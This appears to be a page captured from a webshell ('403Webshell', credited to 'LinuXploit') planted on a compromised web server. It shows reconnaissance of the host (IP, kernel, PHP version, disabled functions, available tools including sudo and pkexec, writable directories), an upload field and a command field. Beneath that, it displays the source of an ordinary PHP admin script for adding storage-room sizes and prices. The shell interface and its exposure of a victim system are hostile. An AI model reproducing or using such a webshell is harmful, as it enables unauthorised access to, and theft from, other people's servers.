403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/innoutstorage/webadmin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/innoutstorage/webadmin/master_room_add.php
<?php
	require_once('check_login.php');

	//checking
	$message = "";

	if(!isset($_POST["is_onlinesales"])){
		$message .= "請選擇可否在網上預訂此尺寸的倉。\\n\\n";
	}

	if(empty($_POST["length"])){
		$message .= "請輸入長度。\\n\\n";
	}else{
		if(!is_numeric($_POST["length"]) || $_POST["length"] <= 0){
			$message .= "長度須為正數數字。\\n\\n";
		}
	}

	if(empty($_POST["width"])){
		$message .= "請輸入闊度。\\n\\n";
	}else{
		if(!is_numeric($_POST["width"]) || $_POST["width"] <= 0){
			$message .= "闊度須為正數數字。\\n\\n";
		}
	}

	if(empty($_POST["height"])){
		$message .= "請輸入高。\\n\\n";
	}else{
		if(!is_numeric($_POST["height"]) || $_POST["height"] <= 0){
			$message .= "高須為正數數字。\\n\\n";
		}
	}

	if(!empty($_POST["length"]) && !empty($_POST["width"]) && !empty($_POST["height"]) ){
		$sql = "select * from master_room where length = ? and width = ? and height = ? and deleted = ?";
		$parameters = array($_POST["length"], $_POST["width"], $_POST["height"], 0);
		$result = bind_pdo($sql, $parameters, "selectall");

		if(!empty($result)){
			$message .= "這個尺寸的單位已經存在。\\n\\n";
		}
	}

	if(empty($_POST["retail_price"])){
		$message .= "請輸入原價。\\n\\n";
	}else{
		if(!empty($_POST["retail_price"]) && !is_numeric($_POST["retail_price"])){
			$message .= "原價必須為正數數字。\\n\\n";
		}
	}

	if($_POST["has_discounted_price"] == 1){
		if(!empty($_POST["discounted_price"]) && !is_numeric($_POST["discounted_price"])){
			$message .= "優惠價必須為正數數字。\\n\\n";
		}

		if(!empty($_POST["retail_price"]) && !empty($_POST["discounted_price"]) && $_POST["discounted_price"] > $_POST["retail_price"]){
			$message .= "優惠價不能大於原價。\\n\\n";
		}

		if(!empty($_POST["effectivedate_from"]) && !validateDate($_POST["effectivedate_from"], "Y-m-d")){
			$message .= "請輸入正確的開始日期。\\n\\n";
		}

		if(!empty($_POST["effectivedate_to"]) && !validateDate($_POST["effectivedate_to"], "Y-m-d")){
			$message .= "請輸入正確的完結日期。\\n\\n";
		}

		if(!empty($_POST["effectivedate_from"]) && !empty($_POST["effectivedate_to"]) && $_POST["effectivedate_from"] > $_POST["effectivedate_to"]){
			$message .= "開始日期不能大於完結日期。\\n\\n";
		}
	}



	if(!empty($message)){
		echo "<script>alert('".$message."'); history.back();</script>";
		exit;
	}

	$discounted_price = $_POST["discounted_price"];
	$effectivedate_from = $_POST["effectivedate_from"];
	$effectivedate_to = $_POST["effectivedate_to"];

	$sql        = "insert into master_room set is_onlinesales=?, remain_room=?, length=?, width=?, height=?, createdate=?, createby=?, lastupdate=?, lastupby=?";
	$parameters = array($_POST["is_onlinesales"], $_POST["remain_room"], $_POST["length"], $_POST["width"], $_POST["height"], $nowdate, $_SESSION['cmsloginid'], $nowdate, $_SESSION['cmsloginid']);

	bind_pdo($sql, $parameters);

	$master_room_id = $dbh->lastInsertId();

	if($_POST["has_discounted_price"] == 1){
		//insert into pricelist table
		$sql = "insert into master_room_price set master_room_id = ?, retail_price=?, discounted_price=?, effectivedate_from=?, effectivedate_to=?, createdate=?, createby=?, lastupdate=?, lastupby=?";
		$parameters = array($master_room_id, round($_POST["retail_price"], 1), round($_POST["discounted_price"], 1), $_POST["effectivedate_from"], $_POST["effectivedate_to"], $nowdate, $_SESSION['cmsloginid'], $nowdate, $_SESSION['cmsloginid']);
	}else{
		//insert into pricelist table
		$sql = "insert into master_room_price set master_room_id = ?, retail_price=?, discounted_price=?, effectivedate_from=?, effectivedate_to=?, createdate=?, createby=?, lastupdate=?, lastupby=?";
		$parameters = array($master_room_id, round($_POST["retail_price"], 1), round($_POST["retail_price"], 1), NULL, NULL,$nowdate, $_SESSION['cmsloginid'], $nowdate, $_SESSION['cmsloginid']);
	}

	bind_pdo($sql, $parameters);

	$dbh = null;

	header("Location: master_room_index.php?msg=新增成功");


Youez - 2016 - github.com/yon3zu
LinuXploit